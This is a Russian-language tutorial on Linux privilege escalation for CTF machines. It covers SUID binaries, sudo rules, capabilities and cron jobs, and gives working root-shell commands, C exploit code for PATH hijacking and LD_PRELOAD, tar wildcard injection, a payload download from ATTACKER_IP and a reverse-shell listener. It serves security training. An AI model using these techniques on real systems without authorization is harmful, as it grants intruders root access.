
На Easy-машине HackTheBox я потратил 40 минут на initial shell через SQL-инъекцию в веб-форме — и ровно 90 секунд на root. Бинарь /usr/bin/find с установленным SUID-битом, одна команда с -exec, root shell в терминале. И это не аномалия: большинство CTF-машин уровня Easy-Medium решаются через misconfigured SUID-бинари или кривые записи в sudoers. По классификации MITRE ATT&CK — техники Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003), два самых частых вектора повышения привилегий Linux после получения первого shell. Ниже — пошаговая методология от энумерации до root с разбором каждого шага.
SUID (Set User ID) — специальный бит прав доступа, который заставляет ядро Linux запускать бинарный файл не от имени текущего пользователя, а от имени владельца файла. Когда владелец — root, любой пользователь системы выполняет бинарь с привилегиями суперпользователя на время работы процесса. В строке прав доступа SUID отображается как s в позиции execute для владельца: -rwsr-xr-x. Подробнее — в нашем статье о linux для пентестера.
Установка SUID-бита — два эквивалентных способа: chmod u+s файл (символьная форма) или chmod 4755 файл (числовая). Четвёрка в начале — собственно SUID. Оставшиеся 755 задают стандартные права: владелец rwx (7), группа и остальные r-x (5). Рядом живут SGID (2 — запуск от группы владельца) и Sticky Bit (1 — ограничение удаления файлов в директории, классический /tmp). Комбинации суммируются: chmod 6755 установит одновременно SUID и SGID.
Легитимный пример — утилита /usr/bin/passwd. Обычный пользователь должен менять свой пароль, но файл /etc/shadow с хэшами доступен только root. SUID на passwd решает задачу: бинарь работает от root, проверяет старый пароль и записывает новый хэш. Проблема начинается, когда SUID оказывается на бинаре, способном вызвать shell или записать произвольный файл — find, vim, python, cp, bash. Граница между непривилегированным пользователем и root в этот момент просто испаряется.
Деталь для CTF: если SUID установлен, но execute-бит отсутствует, в строке прав появляется заглавная S вместо строчной s (-rwSr-xr-x). Бинарь нельзя запустить — SUID не сработает. На CTF-машинах такое встречается как ложный след, не тратьте на него время.
Повышение привилегий Linux на 80% состоит из энумерации и на 20% — из эксплуатации. Без системного сбора информации можно часами перебирать kernel-эксплойты, когда root-доступ лежит в выводе sudo -l.
Первая команда — id. Покажет UID, GID и группы текущего пользователя. Членство в группах docker, lxd, disk или adm — самостоятельные вектора эскалации, не связанные с SUID. Группа docker, например, позволяет монтировать хостовую файловую систему внутрь контейнера и редактировать /etc/shadow напрямую. Вторая — uname -a для версии ядра (T1082). Третья — cat /etc/os-release для точного дистрибутива, что критично при подборе kernel-эксплойтов.
Дальше — проверка прав к критическим файлам. ls -la /etc/shadow — доступен ли shadow на чтение? Если да — копируем хэш root и прогоняем через John the Ripper на атакующей машине. ls -la /etc/passwd — доступна ли запись? Если да — добавляем пользователя с UID 0 напрямую.
Центральный шаг — поиск SUID бинарников (T1083):
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd # стандартный, не интересен
/usr/bin/sudo # стандартный
/usr/bin/mount # стандартный
/usr/bin/find # НЕСТАНДАРТНЫЙ — проверяем GTFOBins
/usr/bin/vim.basic # НЕСТАНДАРТНЫЙ — редактор с SUID
/opt/status-checker # КАСТОМНЫЙ — исследуем strings
Ключевой навык — отличать стандартные SUID-бинари от аномальных. Набор /usr/bin/passwd, /usr/bin/mount, /usr/bin/su, /usr/bin/sudo, /usr/bin/chfn, /usr/bin/newgrp присутствует на каждой Linux-системе по умолчанию и не интересен (если версии актуальные). Всё за пределами этого набора — потенциальный вектор. Кастомные бинари в /opt или /home — первоочередная цель.
Параллельно — sudo -l. Выведет список команд, разрешённых через sudo для текущего пользователя. Если shell получен от www-data или аналогичного сервисного аккаунта без пароля, sudo обычно недоступен. Но проверить стоит всегда: я встречал машины, где www-data имел NOPASSWD на конкретный бинарь.
Ручная энумерация даёт контроль и понимание, но автоматизированные скрипты страхуют от пропуска. LinPEAS — самый полный инструмент для этой задачи. Загрузка на целевую машину: поднимаем python3 -m http.server 8000 на атакующем хосте, затем wget http://ATTACKER_IP:8000/linpeas.sh на цели. Запуск: chmod +x linpeas.sh && ./linpeas.sh. Скрипт подсвечивает результаты цветом: красный и жёлтый — высокая вероятность эскалации, зелёный — информационно. В секции SUID LinPEAS автоматически сверяет найденные бинари с базой GTFOBins и помечает эксплуатируемые.
Менее раскрученный инструмент — suid3num. Фокусируется исключительно на SUID/SGID-файлах: классифицирует их на стандартные, известные эксплуатируемые и кастомные, требующие ручного анализа. На CTF suid3num часто эффективнее полного прогона LinPEAS, когда нужна быстрая проверка именно этого вектора.
LinEnum — альтернатива с более компактным выводом. Обновляется реже, но для базовой энумерации хватает. Выбор — дело привычки.
Перед загрузкой скриптов убедитесь, что shell полноценный. Если терминал ограничен — создайте интерактивный TTY: python3 -c 'import pty;pty.spawn("/bin/bash")' или script -qc /bin/bash /dev/null. Без TTY многие команды (включая sudo -l) не отработают корректно.
Обнаружили нестандартный SUID — дальше зависит от того, стандартный это бинарь из GTFOBins или кастомный файл от создателя машины.
GTFOBins (gtfobins.github.io) — справочник Unix-бинарей, которые можно использовать для обхода ограничений безопасности. Для каждого бинаря указаны способы злоупотребления через SUID, sudo, capabilities, file read и file write. На CTF это первый ресурс после обнаружения нестандартного SUID.
Самые частые SUID-вектора на CTF-машинах:
find — классика жанра. Команда find . -exec /bin/bash -p \; -quit порождает root shell. Флаг -p критически важен: без него bash сбрасывает effective UID обратно к реальному, и SUID не срабатывает. -quit завершает find после первого результата — без него получите кучу shell'ов.
bash — самый прямой путь. /bin/bash -p при SUID на bash даёт root немедленно. Проще некуда.
vim/vi — через :!/bin/bash из командного режима или :set shell=/bin/bash с последующей :shell. Редактор с SUID — это полный root-доступ к файловой системе и командной строке.
python/python3 — если интерпретатор имеет SUID: python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'. Аналогично работают perl и ruby.
cp — shell напрямую не даёт, зато позволяет перезаписать любой файл от root. Три варианта: добавить пользователя с UID 0 в /etc/passwd; заменить /etc/shadow файлом с известным хэшем; клонировать bash с SUID — cp /bin/bash /tmp/rootbash, затем chmod +s /tmp/rootbash (если cp тоже с SUID). Хэш пароля генерируем на атакующей машине: openssl passwd -6 password123.
nano — открываем /etc/passwd через nano /etc/passwd и добавляем строку hacker:$HASH:0:0:root:/root:/bin/bash, где $HASH — хэш из openssl. Сохраняем, переключаемся через su hacker.
Список эксплуатируемых бинарей в GTFOBins — сотни позиций. Каждый из них может породить root shell при наличии SUID-бита.
На машинах средней сложности встречаются кастомные SUID-бинари в /opt или /usr/local/bin. Их нет в GTFOBins, но они могут быть уязвимы к PATH hijacking — подмене вызываемой команды через манипуляцию переменной окружения PATH.
Методика: запускаем strings /opt/custom-binary и ищем вызовы внешних команд без абсолютного пути. Если бинарь вызывает service, curl, date без полного пути (service вместо /usr/sbin/service) — мы подставляем свой исполняемый файл:
// exploit.c — подмена вызываемой команды
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
// gcc exploit.c -o service
// export PATH=/tmp:$PATH
// /opt/custom-binary → root shell
Допустим, strings показал вызов service apache2 status. Компилируем exploit.c в файл с именем service, кладём в /tmp, добавляем /tmp в начало PATH через export PATH=/tmp:$PATH. Это generic-техника PATH hijacking — работает для любого относительного вызова внутри SUID-программы. При запуске SUID-бинаря система находит наш service раньше настоящего и выполняет его от root.
Вектор не сработает, если бинарь использует абсолютные пути. glibc dynamic linker в secure-execution mode (при setuid) очищает опасные переменные окружения (LD_PRELOAD, LD_LIBRARY_PATH и др.) — стандартное поведение ld.so на всех современных Linux-системах. Но PATH к очищаемым переменным (unsecvars) не относится — вот за это и цепляемся.
Если strings не показал очевидных вызовов — strace /opt/custom-binary 2>&1 | grep "No such file". Это выявит попытки загрузить .so-файлы из несуществующих путей. Если путь к отсутствующей библиотеке доступен для записи текущему пользователю — создаём вредоносный shared object с функцией-конструктором, которая породит shell. Дополнительно ltrace покажет вызовы библиотечных функций: на одной машине я обнаружил через ltrace вызов system("cat /var/log/status"), невидимый через strings, потому что строка формировалась динамически. Так что не ленитесь — прогоняйте оба инструмента.
Вывод sudo -l — второй по приоритету вектор после SUID (T1548.003). Он показывает, какие команды текущий пользователь может выполнять через sudo и на каких условиях.
Типичные записи, открывающие путь к root: (root) NOPASSWD: /usr/bin/find — find запускается от root без пароля, эксплуатация мгновенная через sudo find . -exec /bin/bash \; -quit. Запись (root) NOPASSWD: /usr/bin/env — sudo env /bin/bash. Wildcard в пути — отдельный подарок: (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py даёт возможность создать /opt/scripts/exploit.py с содержимым import os; os.system("/bin/bash") и запустить через sudo.
Для каждого бинаря, разрешённого в sudo, проверяем раздел «Sudo» на GTFOBins. Интерпретаторы (python, perl, ruby), редакторы (vim, nano, less, more), файловые утилиты (cp, mv, find) и сетевые инструменты (nmap, tcpdump) — все имеют задокументированные пути к shell через sudo. Флаг -p при sudo не нужен: sudo уже предоставляет root-контекст.
Отдельно — sudo --version. Устаревшие версии содержат известные уязвимости обхода ограничений sudoers. Поиск эксплойтов: searchsploit sudo на атакующей машине.
Если sudo -l содержит строку env_keep += LD_PRELOAD или env_keep += LD_LIBRARY_PATH — это один из самых надёжных векторов. Эти переменные окружения позволяют загрузить произвольную shared library до запуска целевой программы:
// preload.c — порождает root shell до main()
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
// gcc -fPIC -shared -nostartfiles -o /tmp/pe.so preload.c
// sudo LD_PRELOAD=/tmp/pe.so /usr/bin/apache2
Компилируем shared object, указываем его в LD_PRELOAD и запускаем любую программу из списка sudo. Функция _init() выполнится до main() целевой программы. Вызов unsetenv("LD_PRELOAD") предотвращает рекурсивную загрузку.
Для LD_LIBRARY_PATH принцип аналогичен: через ldd /usr/bin/apache2 узнаём подключаемые .so-файлы, создаём вредоносную библиотеку с именем одной из них и помещаем в указанную директорию.
Предусловие: строка env_keep должна явно содержать эти переменные. В дефолтных конфигурациях Ubuntu 22.04+, Debian 12+ LD_PRELOAD сбрасывается при sudo. На CTF-машинах мискофигурацию выставляют намеренно.
Linux capabilities — механизм гранулярной раздачи привилегий, альтернатива полному SUID. Вместо root-доступа бинарю назначается конкретная capability: CAP_NET_BIND_SERVICE для привилегированных портов, CAP_DAC_OVERRIDE для обхода проверок прав доступа, CAP_SETUID для смены UID процесса.
CAP_SETUID — функциональный эквивалент SUID-бита, но невидимый через ls -la. Обнаруживается только через getcap -r / 2>/dev/null. Вывод /usr/bin/python3.10 = cap_setuid+ep означает, что python3 может менять UID — и через python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' получаем root shell.
На CTF capabilities встречаются реже SUID — именно поэтому многие участники их пропускают. Добавьте getcap -r / 2>/dev/null в свой чек-лист: десять секунд, которые экономят час блуждания по ложным следам.
GTFOBins покрывает capabilities для большинства стандартных бинарей — ищите раздел «Capabilities» на странице конкретной утилиты.
Cron-задачи, запускаемые от root — ещё один частый вектор на CTF-машинах. Проверяем: cat /etc/crontab, содержимое /etc/cron.d/, директорию /var/spool/cron/crontabs/, а также systemctl list-timers для systemd-таймеров.
Два основных сценария эксплуатации:
Перезаписываемый скрипт. Cron запускает от root скрипт, доступный на запись текущему пользователю — заменяем содержимое на chmod +s /bin/bash или reverse shell. После следующего срабатывания — root. На CTF расписание обычно настроено на каждые 1-5 минут.
Wildcard-инъекция в tar. Если задача содержит tar czf /backup/archive.tar.gz * в определённой директории, у tar есть ключи --checkpoint и --checkpoint-action, которые позволяют выполнить произвольную команду. В целевой директории создаём файлы, чьи имена tar интерпретирует как аргументы при раскрытии wildcard * оболочкой: touch './--checkpoint=1' и touch './--checkpoint-action=exec=sh exploit.sh' (каждый touch создаёт файл на диске с соответствующим именем — пробел является частью имени файла). Файл exploit.sh содержит reverse shell или chmod +s /bin/bash. Техника задокументирована в разделе shell на странице tar в GTFOBins. При обработке wildcard * tar примет имена файлов за собственные ключи — и выполнит скрипт от root.
После создания файлов запускаем nc -lvnp 4444 на атакующей машине (если в exploit.sh reverse shell) и ждём срабатывания cron.
Систематический подход экономит время. Порядок проверок, отсортированный по вероятности успеха на CTF-машинах:
| Приоритет | Что проверяем | Команда | На что смотреть |
|---|---|---|---|
| 1 | Текущий контекст | id, whoami |
Группы docker, lxd, disk, adm |
| 2 | Sudo права | sudo -l |
NOPASSWD, env_keep, wildcard в путях |
| 3 | SUID бинари | find / -perm -4000 -type f 2>/dev/null |
Нестандартные и кастомные бинари |
| 4 | Capabilities | getcap -r / 2>/dev/null |
CAP_SETUID, CAP_DAC_OVERRIDE |
| 5 | Cron-задачи | cat /etc/crontab, ls -la /etc/cron.d/ |
Скрипты от root, доступные на запись |
| 6 | Версия ядра | uname -a, cat /etc/os-release |
Известные CVE для конкретной версии |
| 7 | Пароли в файлах | grep -rli "password" /home /var/www 2>/dev/null |
Credentials в конфигах и истории |
| 8 | Права на shadow и passwd | ls -la /etc/shadow /etc/passwd |
Чтение shadow, запись в passwd |
| 9 | NFS с no_root_squash | cat /etc/exports |
Шары с no_root_squash |
| 10 | Сервисы от root | ps aux \| grep root |
MySQL, Docker, Apache от root |
После ручной проверки первых четырёх пунктов запускаем LinPEAS для полного сканирования. Не наоборот: ручная проверка учит распознавать вектора, автоматизация страхует от пропуска.
Для полноты картины в терминах MITRE ATT&CK: энумерация — фаза Discovery (T1082 System Information Discovery, T1083 File and Directory Discovery, T1033 System Owner/User Discovery), эксплуатация — Privilege Escalation (T1548.001 Setuid and Setgid, T1548.003 Sudo and Sudo Caching, T1068 Exploitation for Privilege Escalation). Знание маппинга полезно не только для отчётов — оно структурирует мышление при подходе к новой машине.
За три года решения CTF-машин я вывел правило: если root не найден за 20 минут ручной энумерации — запускаю LinPEAS и перечитываю вывод с фильтром по красным и жёлтым маркерам. В девяти случаях из десяти ответ был на экране, просто глаз замылился. Ещё наблюдение: CTF формирует привычку искать один конкретный вектор, заложенный создателем машины. На реальном пентесте векторов может быть пять одновременно, и задача — задокументировать все, а не останавливаться на первом сработавшем. Эта разница в мышлении — граница между CTF-игроком и пентестером. Чтобы её пересечь, стоит после получения root возвращаться к энумерации и искать альтернативные пути. Это неудобно, ломает дофаминовый цикл «сдал флаг — следующая машина», но формирует профессиональную методологию. На WAPT эту цепочку проходят в течение двух модулей с лабами — от одиночного вектора к полному покрытию поверхности атаки.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...